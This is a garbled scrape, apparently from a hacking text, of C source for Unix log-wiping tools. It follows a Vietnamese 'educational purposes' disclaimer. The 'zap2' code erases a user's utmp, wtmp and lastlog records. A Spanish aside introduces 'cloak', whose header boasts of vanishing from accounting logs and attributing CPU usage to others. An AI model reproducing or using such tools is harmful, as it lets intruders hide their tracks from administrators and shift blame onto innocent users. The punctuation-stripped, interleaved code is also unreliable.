Này là dành cho mục đích giáo dục, không có cách nào tôi có trách nhiệm cho những gì bạn làm với điều này. Điều này nên được sử dụng bởi các quản trị viên sys, hoặc những người có sự cho phép của admin để chạy nó để xem nếu lỗ này có thể tồn tại trên hệ thống của họ. | 73 pos 1L if f open WTMP_NAME O_RDWR 0 while pos -1L lseek f - long sizeof struct utmp pos L_XTND if read f utmp_ent sizeof struct utmp 0 pos -1L else if strncmp who strlen who bzero char utmp_ent sizeof struct utmp lseek f - sizeof struct utmp pos L_XTND write f utmp_ent sizeof utmp_ent pos -1L else pos 1L . close f void kill_lastlog who char who struct passwd pwd struct lastlog newll if pwd getpwnam who NULL if f open LASTLOG_NAME O_RDWR 0 lseek f long pwd- pw_uid sizeof struct lastlog 0 bzero char newll sizeof newll write f char newll sizeof newll close f else printf s n who main argc argv int argc char argv if argc 2 kill_lastlog argv 1 kill_wtmp argv 1 kill_utmp argv 1 printf Zap2 n else printf was as bad as shit n Bien ya he puesto el zap2. ahora pongo el cloak que es el que hay que usar ya que borra mejor las huellas y ademas se encarga del acct C L O A K Wrap yourself in a cloak of darkness heh heh heh . 74 Michael S. Baldwin Matthew Diaz 1982 Marcus J. Ranum - 1983 - complete re-write and munging added more options and all kinds of evil - including the ability to vanish from wtmp and acct as well as utmp. Added more error checking and useful command syntax. Now you can attribute all YOUR CPU usage to others when playing hack include include sys include include include include sys include sys set these guys. If you re sysV a port should be easy define UTMP define WTMP define LAST define ACCT etc utmp usr adm wtmp usr adm lastlog usr adm acct main ac av int ac char av char tp char un char hn char pn long newt 0L int wflg 0 int aflg 0 int refs 1 int x klunch char p extern char index extern time_t time for x 1 x ac x if av x 0 - . switch av x 1 case u username to be - if x 1 ac un av x break case t tty slot to be on - if x 1 ac tp av x break case h host name to be on - if x 1 ac hn av x break case r of refs to zap - if x 1 ac refs atoi av x break 75 case s execl bin sh sh 0 perror .